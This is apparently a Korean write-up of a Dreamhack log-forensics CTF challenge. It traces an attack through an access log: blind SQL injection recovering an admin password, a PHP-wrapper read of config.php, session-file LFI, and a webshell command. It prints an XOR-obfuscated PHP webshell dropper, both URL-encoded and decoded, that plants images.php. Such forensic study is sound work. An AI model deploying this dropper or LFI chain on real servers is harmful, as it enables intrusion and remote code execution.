[Dreamhack] weblog -1


문제 설명

  • 주어진 코드와 로그를 분석해 주어진 질문에 해당하는 답을 찾아보세요.


풀이


문제 페이지에 접속하면 Level 0 으로 탈취된 admin 계정의 PW를 입력하라고 한다.

{03D86826-791A-401D-8E5F-2E87F87452EF}


엑셀로 옮겨 access.log를 확인해보면 일단 아랫 부분은 sql injection이 되는지 테스트하고 있는 것으로 보인다.

**{7BB4E0F7-DC54-450E-B115-B51DC249C9DB}**


아래에서는 database()의 첫 번째 글자를 blind sqli 하는 것으로 보인다. 먼저 위에서 1=1에서 참이 500에러가 났기 때문에 500에러를 일단 참으로 가정하고 보자.

{83DA9108-132A-4A26-B7DD-665B37ACF21B}


보기 쉽게 500을 찾고 서식을 빨간색으로 바꿔주면 아래와 같이 조금 쉽게 찾을 수 있다.

{3CD57B65-FF7C-4CC8-9FF8-3D242FAB4FA3}


아스키 값을 찾아 파이썬 코드로 chr 함수를 이용해 데이터베이스 이름을 보면 simple_board 라는 것을 알 수 있었다.

{94F31C9D-71FA-48F2-A523-ACA81B5F6A3C}


따라서 admin 계정의 pw 만 확인하면 되기 때문에 계정을 blind sqli 하는 부분에 대해서 값을 모아서 보면 Th1s_1s_Adm1n_P@SS 라는 값이 나오고 다음 단계로 넘어갈 수 있다.


다음 문제는 config.php 코드를 추출하는데 사용한 페이로드를 입력하라고 되어 있다.

{55F02F4E-B568-462E-B001-86740B16BC22}


이것도 config.php 단어로 먼저 추린 후에 아래로 내리다 보니 PHP Wrapper를 사용해서 config.php 코드를 추출하는 페이로드를 확인할 수 있었다.

{0EE1D74E-6750-4A9D-8EC0-58B4C4A2733A}


다음은 LFI 취약점을 통해 코드 실행 공격에 사용된 파일의 전체 경로를 입력하라고 되어 있다.

{8258633E-4A7A-440E-8F1E-C3F3401362BE}


아래 로그를 보면 memo.php에 웹쉘을 올리고 /var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 경로에 접속하는 것을 보아 LFI에 사용된 파일의 전체 경로는 /var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 인 것을 알 수 있다.

GET /admin/?page=memo.php&memo=%3C?php%20function%20m($l,$T=0){$K=date(%27Y-m-d%27);$_=strlen($l);$__=strlen($K);for($i=0;$i%3C$_;$i%2b%2b){for($j=0;$j%3C$__;%20$j%2b%2b){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return%20$l;}%20m(%27bmha[tqp[gkjpajpw%27)(m(%27%2brev%2bsss%2blpih%2bqthke`w%2bmiecaw*tlt%27),m(%278;tlt$lae`av,%26LPPT%2b5*5$040$Jkp$Bkqj`%26-?w}wpai,%20[CAP_%26g%26Y-?%27));%20?%3E HTTP/1.1


172.17.0.1 - - [02/Jun/2020:09:55:39 +0000] "GET /admin/?page=/var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 HTTP/1.1" 200 735 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"


생성된 웹쉘의 경로를 입력하라고 되어있다.

{F50DB34C-69D6-42C8-B214-2A00D4D7E047}


아래의 웹쉘 코드를 url 디코딩하여 보면 아래와 같이 php 코드가 나온다.

172.17.0.1 - - [02/Jun/2020:09:55:16 +0000] "GET /admin/?page=memo.php&memo=%3C?php%20function%20m($l,$T=0){$K=date(%27Y-m-d%27);$_=strlen($l);$__=strlen($K);for($i=0;$i%3C$_;$i%2b%2b){for($j=0;$j%3C$__;%20$j%2b%2b){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return%20$l;}%20m(%27bmha[tqp[gkjpajpw%27)(m(%27%2brev%2bsss%2blpih%2bqthke`w%2bmiecaw*tlt%27),m(%278;tlt$lae`av,%26LPPT%2b5*5$040$Jkp$Bkqj`%26-?w}wpai,%20[CAP_%26g%26Y-?%27));%20?%3E HTTP/1.1" 200 1098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
<?php
function m($l, $T = 0) {
    $K = date('Y-m-d');
    $_ = strlen($l);
    $__ = strlen($K);
    for ($i = 0; $i < $_; $i++) {
        for ($j = 0; $j < $__; $j++) {
            if ($T) {
                $l[$i] = $K[$j] ^ $l[$i];
            } else {
                $l[$i] = $l[$i] ^ $K[$j];
            }
        }
    }
    return $l;
}
m('bmha[tqp[gkjpajpw')(m('+rev+sss+lpih+qthke`w+miecaw*tlt'), m('8;tlt$lae`av,&LPPT+5*5$040$Jkp$Bkqj`&-?w}wpai, [CAP_&g&Y-?'));
?>


위 코드를 바로 실행하면 에러가 나고 파일이 실행됐던 date 값을 아래와 같이 수정해서 php 코드를 실행하면 /var/www/html/uploads/images.php 경로에 웹쉘이 생성된 것을 알 수 있다.

{E0D4F3C7-2734-410F-BEC6-C79D1C8556FA}


마지막 지문에서는 사용된 명령어를 입력하라고 되어있는데 이건 거져주는 문제로 images.php?c=whoami로 바로 아래에 로그가 찍혀있다. 입력해주면 아래와 같이 flag를 획득한 것을 볼 수 있다.

{75D9EB1F-141C-4951-A0C9-53C704868D12}

댓글남기기